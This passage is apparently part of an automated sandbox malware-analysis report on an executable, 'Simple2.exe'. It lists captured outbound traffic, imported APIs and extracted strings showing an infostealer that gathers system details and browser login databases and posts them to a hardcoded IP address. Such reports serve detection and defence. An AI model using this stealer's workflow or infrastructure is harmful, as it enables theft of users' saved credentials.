Dec 6, 2024 11:15:12.023189068 CET	11124	OUT	Data Raw: 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 79 73 69 6e 66 6f 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 Data Ascii: --WebKitFormBoundaryContent-Disposition: form-data; name="sysinfo"Content-Type: application/json{ "sysinfo": "MACHINE%20INFO%3a%0aMachine%20name%3a%20440BX%20Desktop%20Reference%20Platform%0aProcessor%20name%3a%20Intel%28R%29%20Core%28
Dec 6, 2024 11:15:12.143285990 CET	1236	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:15:12.143451929 CET	4944	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:15:12.143484116 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:15:12.143500090 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:15:12.143527985 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:15:12.143752098 CET	4944	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:15:12.143873930 CET	4944	OUT	Data Raw: 20 75 73 65 72 6e 61 6d 65 5f 76 61 6c 75 65 29 29 29 10 06 17 3d 17 01 00 69 6e 64 65 78 73 71 6c 69 74 65 5f 61 75 74 6f 69 6e 64 65 78 5f 73 74 61 74 73 5f 31 73 74 61 74 73 13 74 0e 07 17 3b 29 01 81 11 69 6e 64 65 78 66 6f 72 65 69 67 6e 5f Data Ascii: username_value)))=indexsqlite_autoindex_stats_1statst;)indexforeign_key_index_notespassword_notesCREATE INDEX foreign_key_index_notes ON password_notes (parent_id)K))Qtablepassword_notespassword_notesCREATE TABLE password
Dec 6, 2024 11:15:12.263560057 CET	14832	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:15:12.304590940 CET	25956	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Target ID:	0
Start time:	05:15:08
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\Simple2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Simple2.exe"
Imagebase:	0x7ff6d5ca0000
File size:	79'872 bytes
MD5 hash:	ED207427A25863F5524D616525943DD5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:15:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	30.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	41.2%
Total number of Nodes:	742
Total number of Limit Nodes:	12

Executed Functions

Function 00007FF6D5CA1AC0 Relevance: 185.4, APIs: 75, Strings: 30, Instructions: 1699COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6D5CA1520: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA157D
Part of subcall function 00007FF6D5CA1520: ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF6D5CA159C
Part of subcall function 00007FF6D5CA1520: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA15D0
Part of subcall function 00007FF6D5CA1520: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z.MSVCP140 ref: 00007FF6D5CA1607
Part of subcall function 00007FF6D5CA1520: isalnum.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6D5CA1639
Part of subcall function 00007FF6D5CA1520: ?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140 ref: 00007FF6D5CA165E
Part of subcall function 00007FF6D5CA1520: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF6D5CA168C

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA1BCC
memcpy.VCRUNTIME140 ref: 00007FF6D5CA1C1D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA1D1F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA1D70
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA1DC1
WinHttpOpen.WINHTTP ref: 00007FF6D5CA1DF4
WinHttpConnect.WINHTTP ref: 00007FF6D5CA1E30
WinHttpOpenRequest.WINHTTP ref: 00007FF6D5CA1E8D
memcpy.VCRUNTIME140 ref: 00007FF6D5CA1FE6
GetFileAttributesW.KERNELBASE ref: 00007FF6D5CA21C4
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6D5CA2214
memcpy.VCRUNTIME140 ref: 00007FF6D5CA2258
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6D5CA25AE
memcpy.VCRUNTIME140 ref: 00007FF6D5CA26E6
memcmp.VCRUNTIME140 ref: 00007FF6D5CA277E
memcpy.VCRUNTIME140 ref: 00007FF6D5CA2DD9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3214
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA321B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3222
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3229
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3230
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3237
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA323E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3245
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA324C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3253
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA325A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3261
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3268
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA326F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3276
memcpy.VCRUNTIME140 ref: 00007FF6D5CA29A8

Part of subcall function 00007FF6D5CAB188: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CAB1B8
Part of subcall function 00007FF6D5CAB188: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CAB1BE

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6D5CA3209
memcpy.VCRUNTIME140 ref: 00007FF6D5CA210C

Part of subcall function 00007FF6D5CAB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6D5CA1079), ref: 00007FF6D5CAB1A2

memcpy.VCRUNTIME140 ref: 00007FF6D5CA32D2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3329
WinHttpSendRequest.WINHTTP ref: 00007FF6D5CA3375
WinHttpReceiveResponse.WINHTTP ref: 00007FF6D5CA3388
WinHttpQueryHeaders.WINHTTP ref: 00007FF6D5CA33BF
GetLastError.KERNEL32 ref: 00007FF6D5CA361C

Part of subcall function 00007FF6D5CA94E0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA95D6

GetLastError.KERNEL32 ref: 00007FF6D5CA3414

Part of subcall function 00007FF6D5CA94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9559
Part of subcall function 00007FF6D5CA94E0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9579
Part of subcall function 00007FF6D5CA94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9589
Part of subcall function 00007FF6D5CA94E0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9664
Part of subcall function 00007FF6D5CA94E0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA966B
Part of subcall function 00007FF6D5CA94E0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9678

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF6D5CA3434
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6D5CA3444
WinHttpCloseHandle.WINHTTP ref: 00007FF6D5CA344D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA348C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA34DA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3522
WinHttpCloseHandle.WINHTTP ref: 00007FF6D5CA3541
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3589
GetLastError.KERNEL32 ref: 00007FF6D5CA3590
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF6D5CA35B0
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6D5CA35C0
WinHttpCloseHandle.WINHTTP ref: 00007FF6D5CA35D3
GetLastError.KERNEL32 ref: 00007FF6D5CA35DB
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF6D5CA35FB
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6D5CA360B
WinHttpCloseHandle.WINHTTP ref: 00007FF6D5CA3614
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF6D5CA363C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA3703

Part of subcall function 00007FF6D5CA1270: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6D5CAB1C3), ref: 00007FF6D5CA12B4

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6D5CA364C

Part of subcall function 00007FF6D5CA1310: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF6D5CA131B

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA367E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA36C6

Part of subcall function 00007FF6D5CA9BB0: memcpy.VCRUNTIME140 ref: 00007FF6D5CA9BE8

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA3709
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA370F

Part of subcall function 00007FF6D5CAA6C0: memcpy.VCRUNTIME140 ref: 00007FF6D5CAA787

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA3721
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA3727
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA3733
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA3786

Strings

name=", xrefs: 00007FF6D5CA298A, 00007FF6D5CA2DBB
msedge, xrefs: 00007FF6D5CA2358, 00007FF6D5CA2370
", "ip": ", xrefs: 00007FF6D5CA1C2C
.json", xrefs: 00007FF6D5CA2A15
File is found: , xrefs: 00007FF6D5CA21DE
opera, xrefs: 00007FF6D5CA240E, 00007FF6D5CA2426
chromium, xrefs: 00007FF6D5CA2312
fo": ", xrefs: 00007FF6D5CA1BFF
File not found: , xrefs: 00007FF6D5CA31D3
operagx, xrefs: 00007FF6D5CA246C, 00007FF6D5CA2484
WinHTTP/1.0, xrefs: 00007FF6D5CA1DED
/userdata, xrefs: 00007FF6D5CA1E46
FileData is empty, xrefs: 00007FF6D5CA2591
firefox, xrefs: 00007FF6D5CA251F, 00007FF6D5CA2534, 00007FF6D5CA2777
, xrefs: 00007FF6D5CA2111
chromebeta, xrefs: 00007FF6D5CA22AC, 00007FF6D5CA22C4
brave, xrefs: 00007FF6D5CA23B6, 00007FF6D5CA23CE
Content-Type: application/json, xrefs: 00007FF6D5CA2016, 00007FF6D5CA2C27
Content-Type: application/x-sqlite3, xrefs: 00007FF6D5CA2FBF
POST, xrefs: 00007FF6D5CA1E83
" }, xrefs: 00007FF6D5CA1CBA
Content-Disposition: form-data; name="sysinfo", xrefs: 00007FF6D5CA1FFD
chrome, xrefs: 00007FF6D5CA224E, 00007FF6D5CA2266
chromium, xrefs: 00007FF6D5CA30F1
.sqlite", xrefs: 00007FF6D5CA2E2D
Content-Type: multipart/form-data; boundary=WebKitFormBoundary, xrefs: 00007FF6D5CA3367
--WebKitFormBoundary, xrefs: 00007FF6D5CA1EDE
chromium, xrefs: 00007FF6D5CA21A6
yandex, xrefs: 00007FF6D5CA24C5, 00007FF6D5CA24DA
"; filename="login_data, xrefs: 00007FF6D5CA29C9, 00007FF6D5CA2DE8

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$V01@$U?$char_traits@$D@std@@@std@@$??6?$basic_ostream@$Httpmemcpy$Concurrency::cancel_current_task$V01@@$CloseErrorHandleLast$U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@OpenRequest$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_iostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?setw@std@@?sputc@?$basic_streambuf@?uncaught_exception@std@@AttributesConnectD@std@@@1@_FileHeadersJ@1@_Osfx@?$basic_ostream@_QueryReceiveResponseSendSmanip@_U?$_V12@V21@@V?$basic_streambuf@Vios_base@1@Xlength_error@std@@__std_exception_copyisalnummallocmemcmp
String ID: $" }$", "ip": "$"; filename="login_data$--WebKitFormBoundary$.json"$.sqlite"$/userdata$Content-Disposition: form-data; name="sysinfo"$Content-Type: application/json$Content-Type: application/x-sqlite3$Content-Type: multipart/form-data; boundary=WebKitFormBoundary$File is found: $File not found: $FileData is empty$POST$WinHTTP/1.0$brave$chrome$chromebeta$chromium$chromium$chromium$firefox$fo": "$msedge$name="$opera$operagx$yandex
API String ID: 1510262236-3911588127
Opcode ID: 871ca3fa71478082454e6d8cc9e4da38c7709993002661c517f638460a39822b
Instruction ID: 8664b5c63edcbb028369f4c6256916e9eed7ec43d9bdea99416a16d27c9accfa
Opcode Fuzzy Hash: 871ca3fa71478082454e6d8cc9e4da38c7709993002661c517f638460a39822b
Instruction Fuzzy Hash: A3F29163A18B8685EB108B65D8447ED2B71FB45BD4F40423ADE6D87ED5EF78E9A0C300

Function 00007FF6D5CA5540 Relevance: 130.4, APIs: 53, Strings: 21, Instructions: 861
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 00007FF6D5CA557B
ShowWindow.USER32 ref: 00007FF6D5CA5589

Part of subcall function 00007FF6D5CA9260: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF6D5CA1C3D), ref: 00007FF6D5CA92A6

Part of subcall function 00007FF6D5CA41F0: memset.VCRUNTIME140(?), ref: 00007FF6D5CA423F
Part of subcall function 00007FF6D5CA41F0: memset.VCRUNTIME140(?), ref: 00007FF6D5CA4253
Part of subcall function 00007FF6D5CA41F0: memset.VCRUNTIME140(?), ref: 00007FF6D5CA4267
Part of subcall function 00007FF6D5CA41F0: memset.VCRUNTIME140(?), ref: 00007FF6D5CA427B
Part of subcall function 00007FF6D5CA41F0: memset.VCRUNTIME140(?), ref: 00007FF6D5CA428D
Part of subcall function 00007FF6D5CA41F0: RegOpenKeyExA.KERNELBASE(?), ref: 00007FF6D5CA42BE
Part of subcall function 00007FF6D5CA41F0: RegGetValueA.KERNELBASE ref: 00007FF6D5CA42F2
Part of subcall function 00007FF6D5CA41F0: RegCloseKey.KERNELBASE ref: 00007FF6D5CA432D
Part of subcall function 00007FF6D5CA41F0: RegOpenKeyExA.KERNELBASE ref: 00007FF6D5CA435C
Part of subcall function 00007FF6D5CA41F0: RegGetValueA.KERNELBASE ref: 00007FF6D5CA4395

Part of subcall function 00007FF6D5CA7F40: memcpy.VCRUNTIME140 ref: 00007FF6D5CA7F97

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA5608
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA5676
GetSystemInfo.KERNELBASE ref: 00007FF6D5CA569D
memset.VCRUNTIME140 ref: 00007FF6D5CA56B2
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z.MSVCP140 ref: 00007FF6D5CA56DF
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF6D5CA570E
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA577A
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA5787
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA57D1
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF6D5CA5800
memset.VCRUNTIME140 ref: 00007FF6D5CA5815
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z.MSVCP140 ref: 00007FF6D5CA5849
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA58AE
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA58BB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA5905
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA5973
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6D5CA59A1
memset.VCRUNTIME140 ref: 00007FF6D5CA59B9
GetAdaptersInfo.IPHLPAPI ref: 00007FF6D5CA59D2
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6D5CA59E0
GetAdaptersInfo.IPHLPAPI ref: 00007FF6D5CA59F0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6D5CA5A76
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA5ACC
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA5AD9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA5B23
memcpy.VCRUNTIME140 ref: 00007FF6D5CA5C37
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA5CBA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA5CFB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA5D69
memset.VCRUNTIME140 ref: 00007FF6D5CA5D9F
NetGetJoinInformation.NETAPI32 ref: 00007FF6D5CA5DBC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA5E6B
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA5EDA
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA5EE7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA5F31

Part of subcall function 00007FF6D5CA1310: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF6D5CA131B

GetTimeZoneInformation.KERNELBASE ref: 00007FF6D5CA5F44
memset.VCRUNTIME140 ref: 00007FF6D5CA5F56
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA600F
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA6069
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA6076
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA60C0
memset.VCRUNTIME140 ref: 00007FF6D5CA60D8
GetModuleFileNameA.KERNEL32 ref: 00007FF6D5CA60F6
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA6165
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA6172
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA61BC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA622A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA62B1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA62F3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA6341
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA6385

Strings

Executable Path: , xrefs: 00007FF6D5CA60FC
DISK INFO:, xrefs: 00007FF6D5CA5917
Number of Cores: , xrefs: 00007FF6D5CA56F4
USERS INFO:, xrefs: 00007FF6D5CA5D0D
Total Physical Memory: , xrefs: 00007FF6D5CA5830
IP: , xrefs: 00007FF6D5CA5C1A
Adapter: , xrefs: 00007FF6D5CA5A02
Domain: , xrefs: 00007FF6D5CA5DF6
RAM INFO:, xrefs: 00007FF6D5CA57E3
MACHINE INFO:, xrefs: 00007FF6D5CA55AC
Time Zone: , xrefs: 00007FF6D5CA5F9D
MB, xrefs: 00007FF6D5CA5852
185.237.165.97, xrefs: 00007FF6D5CA624D
IP Address: , xrefs: 00007FF6D5CA5A33
Processor Architecture: , xrefs: 00007FF6D5CA56C4
LOCALE INFO:, xrefs: 00007FF6D5CA561A
@, xrefs: 00007FF6D5CA57F3
CPU INFO:, xrefs: 00007FF6D5CA5688
ADAPTERS INFO:, xrefs: 00007FF6D5CA5985
PROCESSES RUNNING:, xrefs: 00007FF6D5CA61CE
DOMAIN AND TZ INFO:, xrefs: 00007FF6D5CA5D7B

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

